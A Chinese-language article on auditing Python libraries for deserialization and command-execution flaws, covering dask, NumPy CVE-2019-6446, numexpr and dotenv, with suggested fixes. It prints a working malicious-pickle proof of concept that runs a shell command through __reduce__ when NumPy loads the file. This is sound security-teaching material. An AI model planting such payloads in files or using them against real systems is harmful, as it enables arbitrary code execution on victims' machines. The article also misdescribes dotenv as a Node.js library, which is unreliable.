Python代碼審計(jì)實(shí)戰(zhàn)案例總結(jié)之反序列化和命令執(zhí)行
一、介紹
Python代碼審計(jì)方法多種多樣,但是總而言之是根據(jù)前人思路的遷移融合擴(kuò)展而形成。目前Python代碼審計(jì)思路,呈現(xiàn)分散和多樣的趨勢。Python微薄研發(fā)經(jīng)驗(yàn)以及結(jié)合實(shí)際遇到的思路和技巧進(jìn)行總結(jié),以便于朋友們的學(xué)習(xí)和參考。
二、反序列化審計(jì)實(shí)戰(zhàn)
反序列化漏洞在Python代碼審計(jì)中屬于常見高危漏洞之一,它的危害性根據(jù)執(zhí)行環(huán)境略有不同,本地和遠(yuǎn)程分別為7.2和10的評分。通過評分也可得知漏洞危害是顯而易見。那么咱們應(yīng)該如何發(fā)現(xiàn)這個(gè)漏洞?關(guān)于發(fā)現(xiàn)此種漏洞要從反序列化的模塊說起,Python的反序列化模塊主要為pickle、cPickle、yaml等等。有關(guān)反序列化漏洞問題在多年前就被人們所發(fā)現(xiàn),目前所看到的大多數(shù)反序列化漏洞是由于應(yīng)用調(diào)用了存在問題的反序列化模塊。那么咱們抓住尋找反序列化模塊則有可能會發(fā)現(xiàn)反序列化漏洞。
1. dask 命令執(zhí)行漏洞(CNVD-2019-16789)
關(guān)于這個(gè)漏洞是筆者在2019年審計(jì)anaconda環(huán)境模塊時(shí)候發(fā)現(xiàn),提交CNVD通過驗(yàn)證,雖然是本地觸發(fā)漏洞,但絕對是關(guān)于反序列化漏洞很好的案例,漏洞利用yaml模塊問題進(jìn)行反序列化。
(1) 漏洞分析
漏洞影響的版本 1.1.4 ,漏洞出現(xiàn)于dask模塊中config.py文件,第139行。源于程序通過coolect_yaml方法中使用了yaml所導(dǎo)致的問題,方法用途從yaml文件收集配置。
其中第148行會判斷是否為目錄,傳入文件就能繼續(xù)執(zhí)行。漏洞觸發(fā)在第168行,使用了yaml.load執(zhí)行了反序列化。
到此咱們通過POC觸發(fā)存在反序列化的方法,即可造成代碼執(zhí)行問題。
(2) 漏洞POC
漏洞驗(yàn)證截圖:
(3) 修復(fù)方法
yaml 在對于反序列化問題上,已經(jīng)提供了安全反序列化的解決方法,程序使用yaml.safe_load可以進(jìn)行安全的反序列化。咱們對于審計(jì)問題的修復(fù)建議根據(jù)實(shí)際情況使用。
2. NumPy 命令執(zhí)行漏洞(CVE-2019-6446)
在NumPy 1.16.0版本之前存在反序列化命令執(zhí)行漏洞,用戶加載惡意的數(shù)據(jù)源造成代碼執(zhí)行。按照慣例在講這個(gè)反序列化之前要說明Python的pickle的反序列化原理和棧指令。但不是本篇重點(diǎn),故暫不討論。
(1) 漏洞分析
咱們直接從代碼層說起,漏洞的入口,lib/npyio.py 第288行附近。在這里存在使用反序列化模塊的方法,并且allow_pickle值為True。allow_pickle 允許使用 Python pickles 保存對象數(shù)組,Python 中的 pickle 用于在保存到磁盤文件或從磁盤文件讀取之前,對對象進(jìn)行序列化和反序列化。通俗講是個(gè)開關(guān),并默認(rèn)開啟。
漏洞觸發(fā)位置,位置在lib/npyio.py,第418行。這里有反序列化加載的方法。筆者將一些代碼省略,直觀看重點(diǎn)。默認(rèn)格式要求ZIP文件前綴PK\x03\x04后綴PK\x05\x06,如果不滿足默認(rèn)的格式,則會執(zhí)行pickle.load()反序列化方法。
到此執(zhí)行流程為 NumPy.lib.npyio.py:load()=>pickle.py:load()。
- try:
- # Code to distinguish from NumPy binary files and pickles.
- _ZIP_PREFIX = b'PK\x03\x04'
- _ZIP_SUFFIX = b'PK\x05\x06' # empty zip files start with this
- ……
- if magic.startswith(_ZIP_PREFIX) or magic.startswith(_ZIP_SUFFIX):
- ……
- elif magic == format.MAGIC_PREFIX:
- ……
- else:
- # Try a pickle
- if not allow_pickle:
- raise ValueError("Cannot load file containing pickled data "
- "when allow_pickle=False")
- try:
- return pickle.load(fid, **pickle_kwargs)
- except Exception:
- raise IOError(
- "Failed to interpret file %s as a pickle" % repr(file))
- finally:
- ……
(2) 漏洞POC
綜上所述,編寫POC如下:
- from numpy.lib import npyio
- from numpy import __version__
- print(__version__)
- import os
- import pickle
- class Test(object):
- def __init__(self):
- self.a = 1
- def __reduce__(self):
- return (os.system,('whoami',))
- tmpdaa = Test()
- with open("test-file.pickle",'wb') as f:
- pickle.dump(tmpdaa,f)
- npyio.load("test-file.pickle")
測試結(jié)果如圖:
三、命令執(zhí)行審計(jì)實(shí)戰(zhàn)
在Python模塊中命令執(zhí)行漏洞同樣較為常見、危害較大。在審計(jì)命令執(zhí)行時(shí),大多時(shí)候程序可能會在滿足特定條件下才能執(zhí)行命令,也可能需要在不同的系統(tǒng)中才會執(zhí)行命令,所以需要關(guān)注代碼邏輯和某些特性。
1. numexpr 命令執(zhí)行漏洞(CNVD-2019-17298)
Numexpr是機(jī)器學(xué)習(xí)模塊NumPy的一個(gè)加速包,主要用于提高NumPy的性能。
(1) 漏洞分析
在該模塊/numexpr/cpuinfo.py 第37行,存在執(zhí)行命令的方法。
getoutput 就是存在問題的方法,通過邏輯在.popen中進(jìn)行命令執(zhí)行,但是由于os.WIFEXITED(status)和os.WEXITSTATUS(status)只在linux下支持所以在windows下面執(zhí)行會報(bào)錯(cuò)。linux 下當(dāng)status 為全局變量并且賦值為0的時(shí)候,os.WIFEXITED(status)結(jié)果為True,os.WEXITSTATUS(status)結(jié)果為0。根據(jù)代碼邏輯:if os.WIFEXITED(status) and os.WEXITSTATUS(status) in successful_status:所以successful_status =(True,0),并通過形參傳入,最終導(dǎo)致命令執(zhí)行問題。
(2) 漏洞POC
漏洞POC和執(zhí)行結(jié)果:
2. dotenv 命令執(zhí)行漏洞(CNVD-2019-17299)
dotenv是一個(gè)使Node.js從文件中加載環(huán)境變量的庫。
(1) 漏洞分析
漏洞存在于dotenv 0.10.1版本中的main.py文件之中,第317行,可見該方法形參傳入命令和環(huán)境變量。但是由于未對可用命令進(jìn)行過濾導(dǎo)致任意命令執(zhí)行問題。
(2) 漏洞POC
漏洞POC和執(zhí)行結(jié)果:
總結(jié)
通過以上案例和總結(jié),相信咱們能夠進(jìn)一步提高Python審計(jì)的功力。這些漏洞在Python審計(jì)中比較典型,如果在文章中哪里存在疏忽,盼斧正。